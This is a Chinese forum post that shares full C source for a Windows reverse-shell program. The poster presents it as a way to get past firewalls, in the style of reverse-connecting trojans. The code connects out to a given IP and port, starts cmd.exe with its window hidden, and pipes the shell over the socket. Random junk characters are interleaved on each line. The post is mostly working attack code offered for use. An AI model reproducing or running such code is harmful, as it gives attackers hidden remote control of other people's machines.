社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3188阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 v? ."`,e  
e 6mZ;y5_  
/* ============================== CR$wzjP j  
Rebound port in Windows NT (?l ]}p^[  
By wind,2006/7 ec ;  
===============================*/ zTc;-,  
#include l>;hQh  
#include !; >s.]  
O+W<l:|$  
#pragma comment(lib,"wsock32.lib") cvsH-uAp  
-*7i:mg  
void OutputShell(); [RXLR#  
SOCKET sClient; Fv]6 a n.  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6,5h4[eF*  
o}Grb/LJ  
void main(int argc,char **argv) 8y27O  
{ 4w+AOWjd  
WSADATA stWsaData; S TWH2_`  
int nRet; K9zr]7;th  
SOCKADDR_IN stSaiClient,stSaiServer; vb^fx$V  
rN 9qH  
if(argc != 3) ,\i*vJ#f  
{ X$UK;O  
printf("Useage:\n\rRebound DestIP DestPort\n"); E_~e/y"-  
return; CT'4.  
} XYvj3+  
anSZWQ  
WSAStartup(MAKEWORD(2,2),&stWsaData); _&]7  
6 rnFXZ\  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Md4Q.8  
GTLS0l)  
stSaiClient.sin_family = AF_INET; '1D $ ;  
stSaiClient.sin_port = htons(0); t]SB .ja  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -+[Lc_oNPx  
X| \`\[  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *OA(v^@tx7  
{ _>vH%FY  
printf("Bind Socket Failed!\n"); @RPQ 1da  
return; 2,:{ 5]Q$  
} BI%^7\HZ  
8=$XhC  
stSaiServer.sin_family = AF_INET; QKjn/%l"@  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); GeJ}myD O  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,< g%}P/  
HN7tIz@Frc  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) PPl o0R  
{ T'}kCnp  
printf("Connect Error!"); |fKT@2(  
return; oJD]h/fQs  
} /W .s1N  
OutputShell(); I\TSVJk^Xi  
} "m{i`<,  
OH06{I>;  
void OutputShell() i[[.1MnS  
{ (nO2+@ !  
char szBuff[1024]; /)kJ iV  
SECURITY_ATTRIBUTES stSecurityAttributes; by+xK~>  
OSVERSIONINFO stOsversionInfo; _FOIMjh%N  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d:hnb)I$*  
STARTUPINFO stStartupInfo; (-$5YKm  
char *szShell; bVz<8b6h'-  
PROCESS_INFORMATION stProcessInformation; +c/!R|h=S  
unsigned long lBytesRead; &wlD`0v  
G2N0'R "  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 8 SU0q9X.  
a+HK fK  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); O#k; O*s'  
stSecurityAttributes.lpSecurityDescriptor = 0; {XIpH r  
stSecurityAttributes.bInheritHandle = TRUE; *` mxv0w~(  
kBqgz| jE%  
Ye]K 74M.  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); b_`h2dUq  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r^6@Zwox]  
k.b=EX|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9ye!kYF,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \FfqIc9;  
stStartupInfo.wShowWindow = SW_HIDE; G%k&|  
stStartupInfo.hStdInput = hReadPipe; :xHKbWz6j  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4AzDWK@/  
hdWVvN  
GetVersionEx(&stOsversionInfo); K6-)l isf  
0 \ U*  
switch(stOsversionInfo.dwPlatformId) a>l,H#w*vW  
{ 2OpA1$n6  
case 1: sSfP.R  
szShell = "command.com"; L~f~XgQ  
break; 7 q!==P=  
default: 8x- 19#  
szShell = "cmd.exe"; /fUdb=!Z  
break; 3|!3R'g/ >  
} Rd HCbk  
Iu P~Vt{m  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?{aC-3VAT  
z2{y<a9;?  
send(sClient,szMsg,77,0); mKu,7nMvF  
while(1) &[{sA;  
{ )C"ixZ>2xQ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); QGI@5  
if(lBytesRead) %0 {_b68x  
{ x*:VE57,z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U]}FA2  
send(sClient,szBuff,lBytesRead,0); eH7x>[lH.  
} Io*H}$Gf  
else m#_Rv  
{ i7- i!`<  
lBytesRead=recv(sClient,szBuff,1024,0); \]4EAKJE  
if(lBytesRead<=0) break; qpFxl  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =8#.=J[/  
} QxG^oxU}  
} |pS]zD  
$)@D(m,ybd  
return; %\-E R !b  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八